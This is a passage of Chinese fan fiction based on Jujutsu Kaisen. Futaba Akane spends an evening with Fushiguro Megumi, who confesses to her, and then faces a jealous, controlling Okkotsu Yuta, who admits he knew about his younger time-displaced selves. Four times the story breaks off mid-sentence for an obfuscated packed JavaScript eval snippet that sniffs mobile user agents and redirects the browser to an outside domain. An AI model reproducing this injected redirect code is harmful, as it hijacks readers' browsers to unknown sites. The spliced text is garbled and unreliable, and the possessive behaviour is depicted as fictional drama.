见她确实吃得差不多了,乙骨忧太赶忙起身收拾碗筷,系上围裙就开始在厨房里忙碌收拾。 双叶茜则揉着有些胀得肚子瘫在沙发上,目光放空,一副人生已经圆满的惬意模样。 她看着乙骨忧太在厨房里忙碌的身形,恍惚间觉得这样好像也不错。 反正不论是哪个时期的乙骨忧太,本质上都是那个深爱着她,也不舍得她操劳半分的爱人。 她越想越困,上下眼皮开始打架,视线也逐渐变得模糊,意识缓缓沉入黑暗。 迷迷糊糊里,双叶茜感觉有人给她披了个毯子,还在她身旁喃喃自语。 “好像是到了该睡午觉的时间了。” “但在这里睡觉会感冒吧?” 接着,她又感觉自己被人悬空抱起,落入柔软的床褥中。 “唔…忧太,爱你。” 熟悉的安心感让双叶茜不自觉地撒了句娇,她蹭了两下那人的胸膛,接着彻底进入梦乡。 … 暮色渐染,夕阳的余晖洒满大地。 双叶茜在朦胧中条件反射地伸手往旁探去,却什么也没摸到。 与乙骨忧太同居这段日子里,她几乎每回醒来时都能装进那双含笑的黑眸中,早日形成习惯。 这次却没看到那双黑眸,这让双叶茜心中有些不安。 她揉着惺忪的睡眼起身,喊道:“忧太。” 却没得到任何回应。 双叶茜立刻起身,穿上拖鞋在屋子里找了一圈,从卧室寻到客厅,甚至连厨房和卫生间都找了一遍,也没见到乙骨忧太。 她下意识想找手机查看时间,顺便给乙骨忧太发个信息,问问他去哪里了。 可却同样找了一圈也没找到,双叶茜这才想起手机今天被乙骨忧太塞进了口袋里,还没还给她。 没有通讯工具,贸然出门确实也不好,双叶茜只好再次无奈地窝在沙发上,一边打开电视开始看综艺节目,一边等待着乙骨忧太回来。 可等到屋外天色越来越暗,她的肚子也控制不住地发出饥肠辘辘的声音,她也没等到。 双叶茜只能起身,打算去学校食堂找点吃的。 虽然她没钱买饭,但这所学校到底还是她的母校,说不定她能在这里碰到熟人,帮忙解救她的困境。 想了想,她打开门走了出去,步入夜色渐深的室外。 宿舍走廊十分安静,似乎没几个人在。 双叶茜捂着饥肠辘辘的肚子,沿着昏暗的走廊往前看,饥饿让她满脑子都在思考该怎么在食堂里混来食物。 不看路实在不是一个好习惯。 转过街角时,她猝不及防地撞进一个结实的胸膛里,鼻尖也瞬间弥漫开清冽气息。 “嘶——”双叶茜倒吸一口气,只觉得鼻子被撞得生痛,给她撞得眼泪都差点飙了出来。 她揉着鼻子抬起头,正准备道歉,却看见了个熟悉的人。 “双叶?”伏黑惠站在她面前。 他似乎刚洗完澡,头发也没完全吹干,额前的碎发湿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16518136|186196||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 湿的,穿着一身宽松的衣物,深蓝色的眼眸诧异地注视着双叶茜。 “你怎么会在这里?” 毕业后,伏黑惠继承了五条悟的选择,一边留在学校里当老师,一边继续进行着咒术师的职业,因此一直住在学校宿舍里。 双叶茜则没选择留在学校里当老师,毕业后就搬到了校外,同乙骨忧太同居了。 她在这个时间点出现在这里,的确令人感到诧异。 “来…来看看。”双叶茜打着马虎,“这不是好久没回来了嘛,今天难得休息一天,来回忆一下青春。” 伏黑惠半信半疑地轻点下头,视线快速扫过双叶茜单薄的衣物和空荡荡的身后,又问:“就你一个人,乙骨前辈呢?” 在所有人的认知里,他们两人几乎都是形影不离的。 “忧太…今天有点事。”双叶茜干巴巴地回答。 伏黑惠皱了下眉,正要继续询问,双叶茜的肚子却突然不争气地发出饥饿的咕噜声,让她很是尴尬。 她顿时满脸通红,不好意思地低下头。 “没吃晚饭?”伏黑惠移开视线,语气平淡,“正好我要去食堂,要一起吗?” 他似乎也没想得到双叶茜的答复,说完后便转身向食堂走去。 双叶茜急忙跟了上去。 食堂里灯火通明,有几个学生在用餐。 见到伏黑惠,几个学生立刻站起来,齐齐向他打招呼。 “伏黑老师好!” 伏黑惠“嗯”了一声,没想过多回应,却见几个学生好奇地盯着双叶茜和他,眼神暧昧,就差没把“老师,你什么时候谈女朋友了,我怎么不知道”给问出口了。 伏黑惠:“…不是你们想的那样。” 苍白的解释显然没能说服几个学生,他们目光如炬,兴奋地盯着双叶茜。 伏黑惠敢确信,如果他没能解释清楚,明天整个学校就都要传他有女朋友了。 伏黑惠无奈地叹了口气,解释道:“她是乙骨前辈的女朋友。” 虽然这几个学生没见过乙骨忧太,但也听闻过特级咒术师都有谁,几个人顿时转变眼神,看向双叶茜的眼神甚至变得肃穆和尊敬起来。 双叶茜:“…?” 食物香气从打饭窗口飘来,让双叶茜的肚子不争气地又响了一声,她脸上好不容易才褪下的热也再次涌了上来。 伏黑惠不再理会那几个学生,领着她去打饭的窗口:“先吃饭。” 双叶茜终于下定决心,窘迫地发出请求,声音小得像蚊子一样:“那个…惠,能不能先借我点钱?我没带手机,也没带钱。” 怕对方不借,她又急忙保证:“我明天一定还给你!” 女人微微仰着头,视线因尴尬而飘忽,脸颊也泛着淡淡的红晕,几缕粉色长发不听话地垂在耳垂,搭在肩膀和胸前。 她又忽然下定决心般直直看着伏黑惠,双眼里满是无助,整个人透着一种强烈需要依赖他人的无措感。 如果被拒绝的话,会露出难过的表情,会哭出来吗? 伏黑惠沉默地看了双叶茜几秒,眼中情绪晦暗不明。 15.第十五章 “不用。” 伏黑惠转回头,直接对窗口内的阿姨报了双份饭菜,利落地用手机付了钱:“我请客。” 他将其中一份餐盘递到双叶茜面前:“坐下吃吧。” 便率先走向位置。 双叶茜看着他的背影,又低头看了看手中热腾腾的饭菜,心中一时五味杂陈,随后乖乖跟了上去。 两人在窗边相对而坐。 餐盘里的炸虾色泽金黄,散发着诱人的香气。 双叶茜低头小口吃着饭,几次想开口说些什么,却不知该从何说起。 毕业后她几乎断了和同学之间的联系,只有偶尔的同学聚会会参加,但也都是匆匆来去,等乙骨忧太来接她,便提前早早离场。 所以她不太了解伏黑惠的近况,不知该聊什么才好。 伏黑惠坐在双叶茜对面,握着筷子正要夹菜,余光却忽然瞥见对面女人一直低垂的脑袋上,小小的发旋在灯光下格外显眼。 他动作顿了一下,随机便停下手里的动作,起身离开了。 双叶茜不明所以地看着伏黑惠离开的背影,正犹豫着要不要跟上去,却见伏黑惠已经回来。 手里却多了一杯温热的牛奶。 他重新坐回到椅子上,将牛奶推给双叶茜,夹菜开始吃饭:“不用紧张。” 伏黑惠虽然看上去很冷漠,但其实一直都是心细又温柔的人。 牛奶冒着蒸腾的热气,驱散走双叶茜紧绷的心。 她捧起牛奶,小声道谢:“谢谢你,惠,不仅请我吃饭,还…” “不用道谢。”伏黑惠打断她,声音一如既往的平稳,听不出情绪来。 窗外夜色渐深,月亮逐渐往天空上方攀升。 玻璃上映出两人相对而坐的身影。 两人陷入短暂的沉默里,氛围却比刚刚好了太多。 伏黑惠放下筷子,随意问了一句:“一会乙骨前辈要来接你吗?” 双叶茜眨巴了两下眼睛,诚实地回答:“我不知道。” 这回答让伏黑惠抬眸看了她一眼,似乎在觉得奇怪。 他没有追问,只是“嗯”了一声,又换了个问题。 “那你一会怎么打算?” 说实话,双叶茜确实还真不知道。 她的手机在少年时期的乙骨忧太那里,家里的钥匙也不知道去哪里了。 回家吧,也不知道成年后的乙骨忧太在不在。 她茫然地摇了摇头:“我也不知道。” 伏黑惠静静注视了她一会,手指无意识在桌面上敲了两下,又道:“教职工的宿舍还有空房间,如果你暂时没有去处的话,可以去那里待一晚上。” 这还真解了双叶茜的燃眉之急。 她感激地点头:“那就麻烦你了。” 他们又简单交谈了几句,但都不是什么很重要的话题,只是无关紧要的小事,但氛围却逐渐和缓了起来。 这顿晚饭很快便结束,两人一起将餐盘送回食堂回收处,正要离开,几个学生却互相推搡着凑了过来,好奇地打量着双叶茜。 “请问您真的是那位乙骨前辈的女朋友吗?”一个胆大的女生鼓起勇气,问,“特级咒术师到底是什么样的?” 她开了个口,几个学生们就变得胆大了起来,纷纷围上来,争先恐后地不断发问。 “他平时会来学校吗?我们有机会见到他吗?” “你们是怎么认识的呀?” “您平时跟他相处会不会觉得很有压力啊?” 一个又一个问题接踵而至,双叶茜被问得措手不及,不知该如何回应,只能向伏黑惠投去求助的目光。 伏黑惠适时上前一步,挡在双叶茜身前,淡淡道:“你们问题太多了,她回答不上来了。” “而且他们是怎么相处的,是他们的私事。” “伏黑老师——”几个学生中的一个促狭地笑了一下,故意同伏黑惠开玩笑,“您这么护着乙骨前辈的女朋友,不会是对人家有意思吧。” 看来伏黑惠平时跟学生的关系还不错,不然学生恐怕也不敢跟他开这种玩笑。 伏黑惠面不改色,冷冷地瞥了一眼刚刚说话的那个学生,无情道:“看来你们还是太闲了,明天全体加训吧。” “哎——” “伏黑老师,不要啊!” 学生们顿时哀嚎了几声一哄而散,不再围着双叶茜。 双叶茜这才得以松了口气,再次道了声谢。 伏黑惠转身看向双叶茜,无奈地揉了揉眉心:"他们平时就这样,说的话别往心里去。" 月亮高挂在天空之上,成为这片黑暗中唯一的发光物,肆意往地面喷洒着月光,使地面上的所有事物都像是蒙上了一层朦胧的光辉。 几阵风吹过,带来一阵冷意。 双叶茜不自觉地抖了一下,望向走在前面的伏黑惠。 比起少年时,伏黑惠的性格基本没发生多大变化,依旧还是那副冷淡的样子,但却明显沉稳很多,身上也有了令人安心的沉稳感。 惠如果以后谈恋爱了,一定会是奔着结婚,会想要跟对方走到最后的类型吧。 感觉会是网上很火的爹系男友呢。 双叶茜在心中想。 伏黑惠用钥匙打开宿舍二楼尽头的一间房间,侧身让开通道:“今晚你就住这里吧。” 教职工宿舍整洁简约,一张单人床靠墙摆放,书桌椅子整齐地摆在床的对面。 窗外是一棵已经种下很久的老树,枝叶被风得沙沙作响,几片叶子掉落下来,缓缓落到窗台上。 虽然这间屋子的装修和家具都很朴素,但早已铺好的床铺和床头暖黄色的灯光,却也能让人有温暖的感觉。 "谢谢你,惠。" 双叶茜真诚地道谢,正要走进房间,却听见身后传来迟疑的声音。 “你和乙骨前辈…”伏黑惠顿了顿,“是吵架了吗?” 双叶茜脚步一顿,还没来得及解释,就听见他继续说道:“如果遇到什么困难了,可以来找我。” 男人声音低沉,却在一片寂静的夜里格外清晰:“就算分手了无处可去,也可以来找我。” 看来是因为平日里她跟乙骨忧太几乎都是形影不离, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16525138|186196||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今日却这样,导致惠误会了。 不过惠还真是个好人啊。 双叶茜心中涌过一阵暖流,转身想要再次道谢,并解释自己同乙骨忧太的关系,却在看清伏黑惠表情的瞬间怔愣在地,一句话也说不出来。 月光顺着走廊的窗户打到室内,在男人轮廓分明的脸上投下阴暗交错的光影,他直直地注视着双叶茜,那双总是平静无波的眼眸,此时却像是片汪洋大海,翻涌起无数隐藏许久的情绪。 他沉沉地地望着双叶茜,虽没直说,却已表达出自己的心意,又郑重道。 “我是认真的。” 心中某个未曾意识到的解在此刻被解开了。 双叶茜突然意识到,从学生时代起,这个沉默寡言的同窗就总是在她需要的时候出现。 这份体贴从来不是偶然。 某些一直被忽略的情感浮出水面,彻底摊开在双叶茜面前。 她张了张嘴,想说些什么,声音却像是卡在嗓子眼里,一句话也说不出来。 两人不知道沉默了多久。 周身的一切都仿佛在此刻凝固,连时间也停滞了下来。 伏黑惠的喉结上下滚动了一下,主动开口:“先回去吧。” 双叶茜这才在心里暗暗松了口气。 “时候不早了,也该休息了。”伏黑惠转身便要离开,却又停住脚步,转头问,“你明天早饭怎么办?” 双叶茜:“…” 坏了,忘记这一茬了。 见她面露难色,伏黑惠了然地点头:“明天我会带早饭过来。” 这体贴的举动却让双叶茜感到有些愧疚,她正打算开口说清楚,却听见走廊的阴影处传来熟悉的声音。 “不用麻烦惠了。” 两人同时转头。 乙骨忧太不知何时站在了楼梯拐角处,也不知听到了多少。 月光把他的影子拉得很长,他穿着深色运动衣,似乎刚出任务回来,目光在伏黑惠身上停留了一会,便转移视线与双叶茜对视,对她扯出一个温柔的笑。 是成年后的乙骨忧太。 “茜,怎么一直不回家?”乙骨忧太走到双叶茜身边,自然地握住她的手,与她十指相扣,“我找了你好久,连电话也不接,在跟我生气?” 他似乎在故意展现出自己同双叶茜的亲密,声线里带上几分委屈:“生气了也不能一个人在外面乱跑啊,我会担心的。” 伏黑惠站在原地没动,脸上也无波无澜,礼貌地打招呼:“伏黑前辈。” 乙骨忧太的注意力终于从双叶茜身上移开,他迎上伏黑惠的视线,笑意盈盈地看着伏黑惠,眼中却一片冷意:“这么晚了,惠,麻烦你照顾我的女朋友了。” 两人视线交汇,空气中仿佛有无形的弦被拉紧,气氛也变得剑拔弩张起来。 “不麻烦。”伏黑惠像是没察觉到乙骨忧太言语里的敌意,目光扫过两人十指紧握的双手上,“茜今天似乎看起来很困扰。” 他再次抬眸,缓缓开口,话语里带着一股莫名其妙的味道:“你们发生什么事情了吗?需不需要我帮忙?” 16.第十六章 已是夜晚,月光透过窗户倾泻在宿舍走廊上,将三个人的影子拉得很长。 伏黑惠的话含着莫名其妙的味道,仿佛他已经确信两人的关系出现了问题。 这令人很不爽。 同为男性,乙骨忧太再清楚不过伏黑惠话中的深意。 这是一个小心翼翼的越界,同时也是一个在等待着机会,随时准备上位的暗示。 “惠是误会什么了吗?”他将双叶茜的手完全包裹在手心,往里收得更紧,“我和茜之间很好,就不劳惠费心了。” 乙骨忧太在外人面前一向是典型的老好人形象,深受后辈仰慕和尊敬。 但此刻他却撕下伪装,浑身上下都透着敌意。 “而且,即使我们真有什么问题,那也该有我们自己解决,毕竟——”乙骨忧太刻意在此停顿,目光直直刺向伏黑惠,眼神凌厉,”我和茜才是恋人。” 强烈的占有欲在顷刻间爆发。 乙骨忧太就像是森林里的一头猛兽,早已把双叶茜这只小兔子划分到自己的领地范围内。 而现在竟然有人想触碰他领地的界限,把这只小兔子给抢走。 他绝不可能让这种事情发生。 乙骨忧太仍然在笑,笑意却未达眼底。 伏黑惠不是笨蛋,他能读出来乙骨忧太是何意。 他望向一直沉默的双叶茜,声音平静:“是吗?但茜今晚看起来似乎很无措不安。” 女人垂着眼,月光在她纤长的睫毛下打下一小片阴影。 她似乎不知如何是好,下唇紧咬着,一副紧张到极致的模样。 “只是些小误会。”乙骨忧太侧身隔断伏黑惠的视线,低头对双叶茜柔声道,“我们回家早说,好吗?” 他声线温柔,但却有种不容抗拒的力量。 双叶茜下意识点头,余光却瞥见伏黑惠紧抿着的唇角,和一直正在看着她的那双眼睛,心头涌上阵阵愧疚。 她无法回应伏黑惠的情感。 “我送你们出去。”伏黑惠主动打破尴尬的氛围,声音也恢复了往日的冷静。 他向楼梯口走去,脚步声在空荡的楼道里响起。 三人沉默着走下楼梯。 到了宿舍楼门口,乙骨忧太停下脚步,回头对伏黑惠笑道:“就送到这里吧,今晚多谢你照顾茜。” 伏黑惠站在宿舍门内,目光越过乙骨忧太,与双叶茜对视了一秒。 他犹豫了一下,最终还是沉沉开口,声音很轻,却清晰无比地传入每个人的耳中。 “任何时候需要帮助,都可以来找我。” 乙骨忧太彻底无法维持脸上的笑,眼神也变得冷冽起来,浑身上下都往外冒着冷气。 他揽住双叶茜的肩膀,不给她回应伏黑惠的机会,转身带着她步入夜色中。 担心乙骨忧太生气,双叶茜不敢回头,却能感觉到伏黑惠的视线一直在盯着自己。 回程的车上,空气几乎凝滞。 因车速过快,窗外的车景飞速后退,闹市区的霓虹灯也划出一道又一道流光。 双叶茜坐在副驾驶上,手指绞着衣角,绞尽脑汁思考该说些什么,才能缓解乙骨忧太身上不断往外释放的低气压。 “你和惠今晚聊了什么?” 乙骨忧太终于开口,声音听不出任何情绪。 他握着方向盘,正视着前方的道路,目不斜视。 双叶茜张了张嘴,话到嘴边却又咽了回去,只是道:“只是吃了顿饭,他看我无处可去,就帮我安排在宿舍里先住一个晚上。” 她不想让伏黑惠和乙骨忧太之间的关系闹得太难看,便又道:“惠他…并没有别的意思。” 握住方向盘的手收紧些许。 “没有别的意思?”乙骨忧太瞥了双叶茜一眼,又反问一句,“无处可去?” 他的声线里带着一丝自嘲:“我们的家你不愿意回了吗?” 乙骨忧太顿了一下,呼吸忽然变得有些急促,似乎在抽噎。 他知道一这样双叶茜就会受不了。 “不是的!”果不其然,双叶茜马上就慌了,急忙解释道,“我只是不知道你在哪里,手机也不在身边,家里的钥匙我也没带。” “实在没办法,才只能向惠求助的。” 刹车猛地被踩下,车轮在地上发出猛烈摩擦的声音。 乙骨忧太将车子停在路边,深吸了一口气,转过身看向双叶茜:“茜,你知道我找了你多久吗?” “家里、警局再到学校,从中午我回家到现在,我几乎找遍了所有你可能去的地方,但都没有见到你。” “给你手机发信息,也是无人回复,打电话也没有人接。” “我是真的很担心你,我甚至担心你是不是出事了。” 乙骨忧太的语气里带着罕见的脆弱,他注视着双叶茜,双眸中是毫不掩饰的关切与担忧:“你这样一声不吭的消失,要我怎么想?” “对不起,忧太。” 看着乙骨忧太眼中真切的情感,双叶茜心头一紧,酸涩与愧疚全都涌了出来:“我不是故意让你担心的。” 女人的双手无意识地攥住系好的安全带,声音里带着哽咽。 她愧疚地低下头,这份愧疚让乙骨忧太一时无言。 他像是被抽空了所有力气,重重向后倒去。 后背与驾驶座的皮革靠背接触,发出一声沉闷的挤压声。 男人的头颈无力后仰,靠在头枕上,喉结艰难地滚动了一下。 他一直紧绷着下颌线终于松弛,唇间也溢出一声叹息,带着沉重的倦意。 乙骨忧太闭上双眼,浓密的睫毛在眼睑下投下浅淡的阴影,微微颤动着,仿佛连支撑眼皮都变得困难。 昏暗的光线在他脸上勾勒出明暗交错的分界,几缕汗湿的发丝凌乱地贴在额前,显得有些狼狈。 看着他这副模样,双叶茜有些犹豫,不知道该不该说出那段荒诞离奇的遭遇。 但若是不说,双叶茜也没有办法解释她消失这么久是在做什么。 这样只会产生误解,让隔阂越来越深。 双叶茜不愿看到乙骨忧太再这样为她担心和难过,更不愿两人的关系因隐瞒而产生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16528502|186196||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 裂痕。 她深吸一口气,终于决定开口:“忧太,其实我笑死,是因为遇到了一些难以解释的事情。” 乙骨忧太眉头蹙起,没说话,用眼神示意她继续说下去。 “我经历了时空错乱。” 担心乙骨忧太会不相信,双叶茜吐出这个词后便停下了,想先观察着乙骨忧太的反应。 “时空错乱?”乙骨忧太重复了一遍,语调缓慢,带着明显的困惑。 “是的!”见他至少没有立刻否定,双叶茜像是见到了希冀,语速不由得加快,“就在这两天,我见到了很多个你!不是现在的你,是…是不同时期的你!” 她努力组织着语言,试图让这听起来匪夷所思的事情变得清晰:“有少年时期的你,还有孩童时期的你。” “他们好像都是单独出现的,我每次只能见到一个时期的你。” 她想起手机的事,连忙补充:“我的手机就是被那个少年时期的你拿走了。所以我没接到你的电话,也没法回复信息。” 双叶茜顿了顿,说出了自己观察到的规律:“而且,你们好像不能同时出现。每次都是一个‘你’消失后,另一个时期的‘你’才会出现” “砰!” 一声突如其来的巨响打断了双叶茜的话。 一道身影毫无预兆地落在了汽车引擎盖上。 车内两人皆是一惊,同时抬头望去。 车头灯明亮的光线勾勒出那人熟悉的身影,少年身上穿着高专的白色制服,有着一头黑发,双眼下有深深的黑眼圈,面容青涩俊秀。 他单膝跪在引擎盖上,缓缓抬起头,隔着挡风玻璃,视线精准地投向车内好人。 那双清澈的黑眸牢牢锁定在双叶茜脸上。 是少年时期的乙骨忧太。 一瞬间,空气仿佛凝固了。 双叶茜未完的话语卡在喉咙里,她瞪大了眼睛,难以置信地看着近在咫尺的两个乙骨忧太,大脑一片空白。 而她身旁,乙骨忧太的瞳孔骤然收缩,他看着引擎盖上那个年轻的自己,脸色在车灯的反光下,变得异常难看。 少年时期的乙骨忧太倒是不像他们二人这样反应激烈。 他拔出身后的那把刀,长刀在夜色中泛着冷光,刀尖精准地抵在驾驶座那侧的挡风玻璃上。 他似乎想要把使用咒力把玻璃打碎。 乙骨忧太用那双带着深厚黑眼圈的眼睛,一眨不眨的紧盯着双叶茜,完全忽视掉她身旁那个脸色阴沉的男人。 “茜。” 少年的声音透过玻璃传来。 “你为什么在这里?”他的视线稍稍偏移,终于冷冷地扫过驾驶座上的人,目光里充满敌意,“这个男人是谁?” 因车内光线昏暗,乙骨忧太看不清里面人的模样。 “等等,忧太,你听我解释…”双叶茜慌忙开口,大脑一片混乱。 然而少年时期的乙骨忧太显然没有耐心等待她的解释。 他的目光重新锁住她,一字一句地质问:“茜,你不在家里等我,却在这里和别的男人在一起?” 17.第十七章 少年的质问里充斥着被背叛的痛楚,让双叶茜无从回应。 她张了张嘴,试图向少年讲清楚当下的状况,但她自己的脑子里现在也是一团乱麻。 现在的情况太过荒诞,她答不上来,只能被迫保持沉默。 这份沉默落到少年眼里,无疑等同于默认了某个让人心碎和愤怒的猜想。 “我不相信你会背叛我,茜。” 乙骨忧太像是在说服自己,手上的刀开始缠绕起不详的咒力,黑眸中也翻涌起偏执,“你是被骗了,对不对?一定是这个卑鄙的男人蛊惑了你!” 他的言辞愈发激烈:“我明白的,我的茜这么单纯,对谁都心怀善意,是不是他伪装成需要帮助的样子,骗你开了门?还是用什么下作的术式操控了你的心智?” 少年死死地盯着车内模糊的人影,后槽牙都要咬碎了:“阴险狡诈的混蛋,你对茜做了什么?敢碰我的茜,我绝对会让你付出代价,你…” “咔哒。” 就在这时,门锁开启的声音打断了少年愈发不堪的咒骂。 驾驶座的车门被从内推开,男人终究听不下去这些由自己发出的恶毒咒骂,从车上走了下来。 他的动作不徐不疾,浑身上下都散发着与少年截然不同的沉稳。 乙骨忧太反手关上车门,完全站直身体,向前走了几步,将自己完全暴露于车头灯明亮的光线下,让少年能看清自己到底是谁。 “骂够了吗?” 乙骨忧太的声音里没有任何怒意,反而带着早已料到这一切的淡然,他瞥了一眼仍然站在引擎盖上的少年,又问:“现在看清楚我是谁了吗?” 少年握住刀的手猛然一震,咒力也跟着消散了。 他死死盯着那双与自己如出一辙却更显成熟的脸,又猛地看向车内脸色苍白的双叶茜,嘴唇张了张,却发不出任何声音。 “看来是看清了。”乙骨忧太的声音依旧平稳,“那么现在,可以请你离开了吗?” 少年握紧拳头,由于太过用力,指尖甚至都深嵌进掌心,留下凹痕。 可他像是感觉不到疼痛一般,目光在乙骨忧太和双叶茜之间来回扫视,双目中翻涌着不甘。 但最终,他只是深深望了双叶茜一眼,便真的收刀入鞘,一言不发地转过身,从车上跳起,消失在夜色中。 整个过程快得不可思议。 双叶茜怔怔地看着少年消失的方向,还未从这突如其来的转折中回过神,就见乙骨忧太重新坐回到驾驶座上,关上车门,熟练地发动了引擎。 “我们回家吧。” 他的语气十分平静,就好像刚刚什么事情也没发生过一般。 车辆平稳地驶进道路,窗外的街景再次开始往后倒退,车速似乎在不断加快中。 双叶茜懵了。 她忍不住转过头,看向身旁的男人,发出来自心底的疑问:“忧太,你…你都不惊讶的吗?” 乙骨忧太没回答。 车内陷入一片死一样的寂静中,只有汽车引擎正在工作的声音。 一些被双叶茜忽略已久的细节,此刻全部串联了起来。 为什么前天她莫名其妙消失了一整天,甚至深夜都没有回家,乙骨忧太却连个电话都没给她打? 为什么当她拖着疲倦的身躯回家,还抱着乙骨忧太哭时,他只是像往常一样为她准备好饭菜,却对她去了哪里、做了什么、为什么哭泣只字不问? 明明以前无论双叶茜去哪里,乙骨忧太都会要求她实时汇报,可为什么这两天他却一次也没有追问过她的行踪? 一个不可思议但又十分合理的猜想,在双叶茜脑中炸开。 “忧太,你…你其实知道?”她震惊地看着自己的爱人,“你知道有另一个你…知道有很多个你的存在?” 乙骨忧太的目光依旧落在前方的道路上,握着方向盘的双手也没有任何变动。 他沉默了片刻,最后不知过了多久,才给出了答案。 “嗯。” 他余光瞥了双叶茜一眼:“我知道。” 这个简单的答案让双叶茜一时失语。 她看着乙骨忧太那张熟悉至极的侧脸,此刻却觉得异常陌生,她的心底也不自觉升起一股莫名的寒意。 她仍然不敢相信,声音里带着迟疑:“你知道多久了?” “从一开始。”乙骨忧太的回答没有半分犹豫,“就像某种本能一样,当他们接近你时,我会感知到,也能通过这样的方式确认你是安全的。” 他的语气太过理所当然,反而让双叶茜更加不适。 “所以,你看着我因为他们的出现而不安,却一直保持沉默,不告诉我,也不帮我?”她忍不住追问,声线带着被蒙在鼓里的委屈和后知后觉的诡异感。 “抱歉,茜,但这是有原因的。” 乙骨忧太终于侧过头,目光在她脸上停留了片刻,眼中却没有歉意:“因为你需要时间来真正接受这些事情。” “你也需要亲自去体验和理解,无论是什么时间的我,都深爱着你。” 他顿了顿,视线转回前方道路,语气带着一种引导般的耐心:“茜,你不如试着不要用诡异或者奇怪的视角来看待这些事,而是试着去接受怎么样?” 车子缓缓驶入小区,停在楼下的车位中,引擎也熄了火。 乙骨忧太解开安全带,侧过身,在昏暗的光线中凝视着双叶茜,眼中情绪翻涌,分不清是爱还是偏执的占有。 他伸手想替双叶茜解开她的安全带,但手指在即将触碰到对方身体时,却感受到对方本能地恐惧,而在逃避他。 这让乙骨忧太怔了一下。 他假装没意识到双叶茜的恐惧,继续坚持为她解开安全带,又轻笑一声,双手抚上双叶茜的脸颊两侧,指尖带着不容抗拒的力道,声音也异常坚定。 “但是茜,你可以理解他们的存在,也可以怜悯他们对你的爱,可你要记住——” 乙骨忧太用手指在双叶茜的脸上摩挲着:“最终能完整地拥有你和守护你的人,只有我。” 他笑意盈盈:“所以茜,不要害怕我好吗?” 双叶茜感到自己脖颈后的寒毛都竖了起来。 乙骨忧太的手指依旧在她脸颊上摩挲,触感温柔却带着强硬的控制欲,他脸上笑意未减,但那双深邃的眼眸里却没有任何暖意,只有一片令人窒息的占有。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16538270|186196||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她强迫自己压下想要推开他的冲动,艰难地点了点头,声音干涩:“好。” 乙骨忧太满意地收回手,率先下了车。 双叶茜跟在他身后,每一步都感觉像是踩在云朵上,没有实感,又像是走在悬崖边缘,只觉恐惧。 居民楼下的声控灯随着他们的脚步声一层层亮起,又一层层熄灭。 光影变幻间,前面那个熟悉的背影变得陌生又诡异。 打开家门,温暖的灯光和熟悉的气息扑面而来,却丝毫无法驱散双叶茜心头的寒意。 这里本该是她最安心的港湾,此刻她却只想逃离。 “要先去洗个澡吗?” 乙骨忧太一边脱下外套,一边语气自然地问道,仿佛刚才在车上那令人窒息的对峙从未发生:“等会该休息了,明天还是工作日。” 他的态度越是这样平常,双叶茜就越是感到恐惧。 “好,我先洗吧。”她低低地回答,逃似地快步走进浴室,反手锁上了门。 背靠着冰冷的门板,双叶茜才敢大口喘息。 她打开水龙头,让哗啦啦的水声充斥整个空间,试图掩盖自己混乱的心跳和思绪。 热水氤氲出的蒸汽很快弥漫开来,模糊了镜面,也模糊了双叶茜的视线。 她抱膝蹲在地上,把脸埋在膝盖中。 她该怎么办? 虽然她早就知道乙骨忧太不是正常人,他的爱带着超乎常人的偏执与占有,但她从未想过会扭曲到这种地步。 乙骨忧太知道,他一直都知道! 他冷眼旁观着她被不同时期的他纠缠,却像个置身事外的人,甚至像是在欣赏一场由他主导的演出。 这已经不是偏执,这简直是…… “茜,”门外突然响起乙骨忧太的声音,打断了她的思绪,“换洗衣服我放在门口的凳子上了。” 双叶茜赶忙深吸口气,努力让自己的声音听起来正常:“好,谢谢。” 她以为乙骨忧太放下衣服就会离开。 然而门外的人沉默了几秒后,却用一种试探的语气,轻轻开口: “茜,我们好像很久没有一起洗澡了。” 乙骨忧太的声音隔着门板,被水声扭曲,却依旧清晰地传递过来:”“今天要不要一起洗?” 双叶茜浑身一僵,血液仿佛瞬间冻结。 她看着眼前弥漫的蒸汽,只觉得无比窒息。 